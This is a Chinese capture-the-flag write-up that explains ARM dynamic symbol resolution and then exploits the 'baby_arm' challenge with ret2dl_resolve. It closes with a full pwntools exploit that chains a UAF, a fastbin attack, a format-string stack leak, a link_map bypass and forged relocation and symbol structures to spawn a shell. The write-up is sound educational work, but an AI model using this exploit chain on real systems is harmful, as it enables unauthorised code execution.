<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    記一次arm架構的ret to dl_resolve利用

    VSole2022-07-04 09:26:34

    前記

    想試試這個利用方式是因為今年Xman冬令營選拔賽上的一道題目baby_arm

    ?  arm checksec pwn       
    [*] '/home/mask/Desktop/xman/arm/pwn'
        Arch:     arm-32-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x10000)
    

    題目本身很簡單,只是一個free后未置0的UAF

    int del_note(){  int result; // r0
      int v1; // [sp+8h] [bp+8h]
      printf("Index :");
      read(0, &v1, 4u);
      result = atoi((const char *)&v1);  if ( result < 0 || result >= count )
      {    puts("Out of bound!");    exit(0);
      }  if ( notelist[result] )
      {    free(notelist[result]);    // uaf
        result = puts("Done it");
      }  return result;
    }
    

    fastbin attack去劫持notelist便可以任意地址讀寫了

    因為這是一道arm架構的題目,其libc也是arm的libc,當時無法找到遠程libc的版本,所以沒有拿到flag,后來有另外一位師傅給了一個多平臺libc search的網站https://libc.nullbyte.cat/ ,以后遇到相應題目也能繼續做下去了

    賽時有考慮過ret to dl_resolve的做法,在網上查了下也沒發現有相關的文章,當時也沒有詳細研究,這次趁著期末考前有空,仔細琢磨了一下

    加載函數

    先來看一下arm的程序是如何加載libc中的函數的

    plt/got

    就以main函數中的一個puts調用為例來分析

    int __cdecl main(int argc, const char **argv, const char **envp){
      ...  puts("Tell me your name:");
      ...
    }
    

    匯編層面是這樣的

    .text:00010A5A                 LDR             R3, =(aTellMeYourName - 0x10A60)
    .text:00010A5C                 ADD             R3, PC  ; "Tell me your name:"
    .text:00010A5E                 MOV             r0, R3  ; s
    .text:00010A60                 BLX             puts
                        ↓
    .plt:00010560 puts                                    ; CODE XREF: add_note+22↓p
    .plt:00010560                                         ; add_note+84↓p ...
    .plt:00010560                 ADR             r12, 0x10568
    .plt:00010564                 ADD             r12, r12, #0x10000
    .plt:00010568                 LDR             PC, [r12,#(puts_ptr - 0x20568)]! ; __imp_puts
                        ↓
    .plt:00010510 ; Segment type: Pure code
    .plt:00010510                 AREA .plt, CODE
    .plt:00010510                 ; ORG 0x10510
    .plt:00010510                 CODE32
    .plt:00010510                 STR             LR, [SP,#-4]!
    .plt:00010514                 LDR             LR, =_GLOBAL_OFFSET_TABLE_ ; PIC mode
    .plt:00010518                 NOP
    .plt:0001051C                 LDR             PC, [LR,#8]!
    

    我們在gdb中跟進看看

    這里的ldr pc,[ip, #0xab8]!(注意有一個!)的意思是ip = ip + 0xab8, pc = *ip,此時ip寄存器指向了puts@got,然后pc讀取puts@got的值,與x86架構一樣,未加載的函數其GOT表上填的都是跳去dl_resolve的函數地址,也就是PLT表頭的位置,于是程序就到了準備進入dl_resolve的地方0x10510位置處

    在PLT表開頭處的幾條指令,lr寄存器指向了GOT表(在pwndbg中REGISTERS欄沒有顯示lr寄存器,不過可以用p/x $lr來查看),下一條跳轉指令pc = *(lr + 8)也就是跳去GOT表上存的一個地址,也就是_dl_runtime_resolve,注意這里的跳轉指令也帶有!,所以lr變成了GOT+8

    _dl_runtime_resolve

    我們先查看一下arm的_dl_runtime_resolve源碼,這是一段匯編代碼,在/sysdeps/arm/dl-trampoline.S中,只關注主要代碼

    _dl_runtime_resolve:
        @ we get called with
        @     stack[0] contains the return address from this call
        @    ip contains &GOT[n+3] (pointer to function)
        @    lr points to &GOT[2]
        @ Save arguments.  We save r4 to realign the stack.
        push    {r0-r4}
        @ get pointer to linker struct
        ldr    r0, [lr, #-4]
        @ prepare to call _dl_fixup()
        @ change &GOT[n+3] into 8*n        NOTE: reloc are 8 bytes each
        sub    r1, ip, lr
        sub    r1, r1, #4
        add    r1, r1, r1
        @ call fixup routine
        bl    _dl_fixup
        @ save the return
        mov    ip, r0
        @ get arguments and return address back.  We restore r4
        @ only to realign the stack.
        pop    {r0-r4,lr}
        @ jump to the newly found address
        BX(ip)
    

    簡單來說,進入_dl_runtime_resolve后,流程如下

    1. 先保存前五個寄存器(調用函數時傳遞的參數)
    2. 然后通過lr寄存器(此時是指向GOT+8)取得link_map的地址(保存在GOT+4),作為參數1,存在r0
    3. 計算函數的reloc_arg(可以在_dl_fixup的源碼中查看),reloc_arg = (ip - lr -4) / 2
    4. 調用_dl_fixup函數
    5. 從函數中返回加載成功的函數地址(libc中),保存到ip
    6. 恢復寄存器(函數參數)
    7. 跳轉到ip,即調用加載成功的函數

    link_map是在libc中的,不過地址存在了程序中的GOT段,主要關注這個reloc_arg,那三行有關r1的指令,實現的是r1 = 2 *(puts@got - (GOT +8) - 4),值就是0x28

    至此,就準備進入_dl_fixup

    _dl_fixup

    這個函數是在ld.so動態庫中,相應源碼在/elf/dl-runtime.c,挑出主要部分

    # define reloc_offset reloc_argDL_FIXUP_VALUE_TYPE
    attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE
    _dl_fixup (struct link_map *l, ElfW(Word) reloc_arg)
    {  const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);  // 獲取程序中的 ELF Symbol Table
      const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);  // 獲取程序中的 ELF String Table
      const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); 
      // 利用參數 reloc_offset(reloc_arg) 獲取函數的 Elf32_Rel 結構體(程序中的 ELF JMPREL Relocation Table)
      // 查表方式是 reloc = ELF JMPREL Relocation Table Base + reloc_offset
      const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];  
      // 利用 reloc->r_info 獲取函數的 Elf32_Sym 結構體 (程序中的 ELF Symbol Table)
      // 查表方式是 r_info 的高位字節代表了函數的 ELF32_Sym 結構體在 ELF Symbol Table 中的偏移(其實這里可以說是索引,這里記錄是 0x10 大小作為一個單位)
      // 也就是說 sym = ELF Symbol Table Base + (r_info >> 8) * 0x10
      void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
      assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);  // 這里會檢查 reloc->r_info 的低位字節是否為 0x16 (針對arm的)
      if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
        {      const struct r_found_version *version = NULL;
          if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) // 針對這個程序的利用,這里需要bypass,下文會講
        {      const ElfW(Half) *vernum =  (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
          ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
          version = &l->l_versions[ndx];      if (version->hash == 0)
            version = NULL;
        }
          result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);      // 根據 strtab + sym->st_name 處的字符串,通過 _dl_lookup_symbol_x 去加載函數,返回值是 libc的基址
          value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);      // 得到函數真實地址
        }  return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);  // 修改函數 GOT 表,返回真實地址}
    

    跟著流程走一遍

    const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);// 獲取程序中的 ELF Symbol Tableconst char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);// 獲取程序中的 ELF String Table
    

    這里從link_map中獲取symtabstrtab兩個表,這兩個表是存在ELF文件上的

    可以發現這個ELF中調用的函數都在這里羅列了出來,程序正是利用這些表中的結構體去加載函數的,這也是ret to dl_resolve攻擊的主要利用點

    const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); 
    // 利用參數 reloc_offset(reloc_arg) 獲取函數的 Elf32_Rel 結構體(程序中的 ELF JMPREL Relocation Table)// 查表方式是 reloc = ELF JMPREL Relocation Table Base + reloc_offset
    

    這一句通過傳進_dl_fixup的第二個參數,來從JMPREL中獲得將要調用的函數的Elf32_Rel結構體,ELF JMPREL Relocation Table這個表也是在ELF文件中

    上面提到了,調用puts時,傳進來的值時0x28,按照宏定義運算,得到的Elf32_Rel結構體地址應為0x10494 + 0x28 = 0x104bc,得到Elf32_Rel <0x21020, 0x616> ; R_ARM_JUMP_SLOT puts這個結構,Elf32_Rel結構體定義如下

    typedef struct {
            Elf32_Addr r_offset;    
            Elf32_Word r_info;     
        } Elf32_Rel;
    const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];  
    // 利用 reloc->r_info 獲取函數的 Elf32_Sym 結構體 (程序中的 ELF Symbol Table)// 查表方式是 r_info 的高位字節代表了函數的 ELF32_Sym 結構體在 ELF Symbol Table 中的偏移(其實這里可以說是索引,這里記錄是以 0x10 大小作為一個單位)// 也就是說 sym = ELF Symbol Table Base + (r_info >> 8) << 4
    

    利用reloc來獲取函數的Elf32_Sym結構體,按照宏定義運算,得到的Elf32_Sym結構體地址應為0x10214 + (0x616 >> 8) << 4 = 0x10214 + 0x60 = 0x10274,得到Elf32_Sym ; "puts"這個結構體,Elf32_Sym結構定義如下

    typedef uint32_t Elf32_Addr;    typedef uint32_t Elf32_Word;    typedef struct
        {
            Elf32_Word st_name;     
            Elf32_Addr st_value;   
            Elf32_Word st_size;    
            unsigned char st_info; 
            unsigned char st_other;
            Elf32_Section st_shndx;
        } Elf32_Sym;
    

    st_name是函數名相對于strtab的偏移,按照我們得到的結構體來說,這個數值為0x1a,得到的函數名字符串所在地址為0x10334 + 0x1a = 0x1034e,正好為puts

    assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);// 這里會檢查 reloc->r_info 的低位字節是否為 0x16 (針對arm的)
    

    這里會對Elf32_Rel中的r_info進行一個check,x86中r_info的低位是0x7而arm中這里應為0x16

    result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);// 根據 strtab + sym->st_name 處的字符串,通過 _dl_lookup_symbol_x 去加載函數,返回值是 libc的基址
    

    這一處就是按照前面準備好的各種結構體,去加載函數,返回libc基址,調用_dl_lookup_symbol_x

    注意第三個參數 &sym,這里是sym變量的地址0xf6ffed4c,放在棧上

    執行完這個函數,返回的只是libc的基址,那么我們想要調用的加載的地址在哪里呢?

    其實在_dl_lookup_symbol_x中把symst_value修改成了加載函數相對于libc基址的偏移

    這里提一下,在vmmap出來的地址與真實的函數偏移基址差了0x1000,這與x86上的情況不大一樣,不知道是什么原因

    value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);// 得到函數真實地址
    

    接著就利用libc基址與函數偏移得到函數真實地址

    return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);// 修改函數 GOT 表,返回真實地址
    

    加載了函數以后,再調用就直接通過GOT表找到函數真實地址了

    到此位置,arm中動態加載函數的流程已經走完了,下面針對這道題目談談如何利用

    利用思路

    這道題本身是一道可以任意地址讀寫的題目,在假設不知道libc的情況下,使用ret to dl_resolve應該是一個很好的辦法

    在以往x86上的ret to dl_resolve利用,無非是棧轉移到bss段再進行ROP,可是我沒有發現arm上有關棧轉移的操作(有些文章說arm有sp和fp寄存器,但是針對這題貌似沒有發現,可能是arm的其他類型),然后我也沒發現有棧溢出的地方

    回歸到任意地址讀寫的功能上,我們可以修改函數GOT表從而達到執行任意地址代碼(地址確保是可執行的),找一下gadget

    發現__libc_csu_init里的一個pop可以控制各寄存器然后跳到pc處,只要修改某個函數的GOT表為這個gadget即可

    回想一下在_dl_runtime_resolve前,函數GOT表地址是存在ip寄存器的,同時lr寄存器指向GOT+8,所以我們可以利用這個gadget控制lrippc,從而可以自定義加載函數

    那么問題就到了如何控制棧上對應位置進行pop,利用任意地址寫是可行的,但是我們不知道棧地址

    如何來leak棧地址,我在這里取巧了,通過任意地址寫來修改puts@gotprintf@plt,進而實現了格式化字符串漏洞利用,泄漏了stack,進入對棧上數據進行修改

    這里要注意函數棧幀的重合,在利用時進行一次pop發現edit函數的返回地址被破壞了,于是我多進行了一次pop,避開了當前函數的棧幀,同時也控制了lrippc

    剩下偽造fake_gotfake_ELF32_Relfake_ELF32_Sym了,還是利用任意地址寫在bss上寫下這兩個結構體

    fake_got的計算方式是ELF JMPREL Relocation Table + (fake_got - (GOT + 8) - 4) * 2 = fake_ELF32_Rel,所以fake_got = (0x210b4 - 0x10494) * 2 + 0x21008 + 4 = 0x2961c

    fake_ELF32_Rel->r_offset是待加載函數的GOT表,這里隨便填了一個free@got,不影響

    fake_ELF32_Rel->r_infofake_ELF32_Sym相對ELF Symbol Table的索引,再加上架構check的0x16,就是r_info = ((0x210c4 - 0x10214) >> 4) << 8 ^ 0x16 = 0x10eb16

    fake_ELF32_Sym->st_name是待加載函數名相對于ELF String Table的偏移,這里調用system,寫在了bss上,于是值為st_name = 0x210bc - 0x10334 = 0x10d88

    東西都準備好了,接著就ret to dl_resolve

    準備進入_dl_resolve,此時r0是待調用函數的參數,IP是我們偽造的fake_got

    準備進入_dl_fixupr1fake_ELF32_Rel的偏移

    繼續執行下去,會發現一處SIGSEGV,原因是讀到了錯誤地址

    看前幾條指令,可以發現bypass的地方

    正好這里的r0link_map,地址存在GOT上,只需讀出地址,修改link_map + 0xe4處為0就行了,這里的代碼對應_dl_fixup中這一段

    if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) // 針對這個程序的利用,這里需要bypass
        {      const ElfW(Half) *vernum =  (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
          ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff; // reloc->r_offset 太大
          version = &l->l_versions[ndx];      if (version->hash == 0)
            version = NULL;
        }
    

    繞過這一處后,就到了_dl_lookup_symbol_x,只要這里解析成功,剩下的就完事了

    利用成功

    完整EXP

    利用流程如下

    1. UAF + Fastbin Attack 控制notelist
    2. 修改puts@gotprintf@plt實現格式化字符串漏洞利用泄漏棧地址
    3. 讀取link_map地址,并修改[ink_map + 0xe4] = 0
    4. 棧上布置fake_ELF32_Relfake_ELF32_Sym
    5. 修改棧上數據實現ret to dl_resolve
    6. Get Shell
    # encoding:utf-8from pwn import *
    context.log_level = 'debug'context.terminal = ['tmux', 'splitw', '-h']
    libc = ELF("/usr/arm-linux-gnueabihf/lib/libc.so.6")
    e = ELF("./pwn")
    rlibc = ''ip = ''port = ''debug = Falsedef dbg(code=""):
        global debug    if debug == False:        return
        gdb.debug()def run(local):
        global p, libc, debug    if local == 1:
            debug = True
            # p = process(["qemu-arm", "-g", "1111", "-L", "/usr/arm-linux-gnueabihf", "./pwn"])
            p = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "./pwn"])    else:
            p = remote(ip, port)
            debug = False
            if rlibc != '':
                libc = ELF(rlibc)
    se = lambda x: p.send(x)
    sl = lambda x: p.sendline(x)
    sea = lambda x, y: p.sendafter(x, y)
    sla = lambda x, y: p.sendlineafter(x, y)
    rc = lambda: p.recv(timeout=0.5)
    ru = lambda x: p.recvuntil(x, drop=True)
    rn = lambda x: p.recv(x)
    shell = lambda: p.interactive()
    un64 = lambda x: u64(x.ljust(8, 'x00'))
    un32 = lambda x: u32(x.ljust(4, 'x00'))def add(size, c):
        sla("choice:", '1')
        sla(":", str(size))
        sea(":", c)    #sleep(0.5)def delete(idx):
        sla("choice:", '2')
        sla(":", str(idx))    #sleep(0.5)def show(idx):
        sla("choice:", '3')
        sla("Index :", str(idx))def edit(idx,c):
        sla("choice:", '5')
        sla(":", str(idx))
        sea(":", c)    #sleep(0.5)note_list = 0x21088Sym_offset = 0x10ebname_offset = 0x10d88fake_got = 0x2961cgadget = 0x10b20fake_ELF32_Rel = ""fake_ELF32_Rel += p32(e.got['free'])
    fake_ELF32_Rel += p32((Sym_offset << 8) ^ 0x16)
    fake_ELF32_Sym = ""fake_ELF32_Sym += p32(name_offset)
    fake_ELF32_Sym += p32(0) * 2fake_ELF32_Sym += p32(0x12)
    run(1)
    sea(":", "Mask".ljust(0x1c, 'x00') + p32(0x31))
    add(0x28, '0')
    add(0x28, '1')
    add(0x28, '2')
    add(0x28, '3')
    add(0x28, '4')
    add(0x28, '5')
    add(0x28, '6')
    add(0x28, '%10$p;/bin/sh')
    delete(2)
    delete(3)
    delete(2)
    add(0x28, p32(0x21078 + 8))
    add(0x28, '5')
    add(0x28, p32(0x21078 + 8))
    add(0x28, p32(note_list) + p32(e.got['puts']))# UAF + Fastbin Attack 控制notelistedit(1, p32(0x010524))
    show(7)
    stack = int(rn(10), 16) - 0x20# 修改puts@got為printf@plt實現格式化字符串漏洞利用泄漏棧地址edit(0, p32(e.got['free']) + p32(stack + 0x24) + p32(stack + 0x24 + 0x20) + p32(note_list + 0x10))
    edit(3, p32(note_list + 0x2c) + p32(note_list + 0x3c) + p32(0x21004))
    show(6)
    link_map = un32(rn(4))
    edit(3, p32(note_list + 0x2c) + p32(note_list + 0x3c) + p32(link_map + 0xe4))
    edit(6, p32(0))# 讀取link_map地址,并修改[ink_map + 0xe4] = 0edit(4, fake_ELF32_Rel + 'system'.ljust(0x8, 'x00'))
    edit(5, fake_ELF32_Sym)# 棧上布置fake_ELF32_Rel與fake_ELF32_Symedit(0, p32(gadget))
    edit(1, p32(gadget) + p32(0x666) * 3)
    edit(2, p32(fake_got) + p32(0x10a65) + p32(0x10510))
    delete(7)# 修改棧上數據實現ret to dl_resolveshell()# Get Shell
    
    函數調用const
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    高達40%的npm包依賴的代碼至少包含一個公開漏洞,因此如何解決 Node.js 應用的安全性檢測是一個十分重要的問題。
    關于堆棧ShellCode操作:基礎理論002-利用fs寄存器尋找當前程序dll的入口:從動態運行的程序中定位所需dll003-尋找大兵LoadLibraryA:從定位到的dll中尋找所需函數地址004-被截斷的shellCode:加解密,解決shellCode的零字截斷問題
    前置知識分析Transformer接口及其實現類。transform()傳入對象,進行反射調用。構造調用鏈調用鏈構造原則:找調用關系要找不同名的方法,如果找到同名,再通過find usages得到的還是一樣的結果。找到InvokerTransformer類中的transform(),右鍵,點 Find Usages,找函數調用關系,最好找不同名的方法,調用了transform()。因為transform()調用transform()不能換到別的方法里,沒有意義。如果有一個類的readObject()調用了get(),那我們就可能找到了調用鏈。最終選擇TransformedMap這個類,因為TransformedMap類中有好幾處都調用了transform()。
    逆向角度看C++部分特性
    反射式DLL注入實現
    2022-05-13 15:59:21
    反射式dll注入與常規dll注入類似,而不同的地方在于反射式dll注入技術自己實現了一個reflective loader()函數來代替LoadLibaryA()函數去加載dll,示意圖如下圖所示。藍色的線表示與用常規dll注入相同的步驟,紅框中的是reflective loader()函數行為,也是下面重點描述的地方。
    該漏洞發生的位置是在驅動文件Win32k.sys中的xxxHandleMenuMessage函數,產生的原因是沒有對該函數中調用的xxxMNFindWindowFromPoint函數的返回值進行合法性驗證,直接將其作為參數傳遞給后面的xxxSendMessage函數調用,從而造成了提權漏洞。
    可是當我們開啟了smap保護之后,內核態就沒有辦法訪問用戶態的數據,此時當我們再hijack tty_operation到我們的用戶態時,我們的kernel就會panic,更別說劫持執行流到用戶態上執行rop了。當我們調用msgsnd時,在linux內核中會調用do_msgsnd。
    最近遇到webpack類型的網站越來越多,所以在B站學習了一下,今天來實戰一波。
    ASLR程序加載到內存后不使用默認的加載地址,將加載基址進行隨機化,依賴重定位表進行地址修復。地址隨機化之后,shellcode中固定的地址值將失效。圖-程序地址未隨機化處理開啟/關閉軟件地址隨機化。每個頁目錄表和頁表項都存在 基址與屬性控制位,通過修改這些控制位,達到當前內存是否有執行、讀、寫等權限。圖-表項構成windows 系統上可以調用 VirtualProtect 函數完成內存屬性的修改操作。DWORD flNewProtect, // 請求的保護方式。大小超過 8 個字節且不包含指針的數據結構。
    前陣子做了一下 Dice CTF 2021,做出了幾個 XSS ,本次就寫一下包括復現題在內的所有學習筆記。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类